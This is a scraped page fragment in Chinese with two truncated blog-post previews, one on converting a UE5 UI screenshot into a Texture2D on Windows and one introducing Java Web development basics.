UE5 文字游戲(1) 僅UI截圖轉換為texture2d(適用于window端)

目錄 需求 思路 1.截圖并讀取到本地 2.本地讀取圖片并轉換為紋理2d 效果展示 找了好多的解決辦法&#xff0c;都不管用。這個算是折中的。 需求 將當前的用戶控件&#xff08;ui&#xff09;截圖下來&#xff0c;并賦值到一個texture2d上。 我的需求&#xff1a;文字游戲…

初學JavaWeb開發總結

0 什么是Web開發 Web: 全球廣域網&#xff0c;又稱萬維網(www World Wide Web)&#xff0c;能夠通過瀏覽器訪問的網站。 Web開發&#xff0c;就是開發網站的&#xff0c;如&#xff1a;淘寶、京東等等。 1 網站的工作流程 流程&#xff1a; 瀏覽器先向前端服務器請求前端資…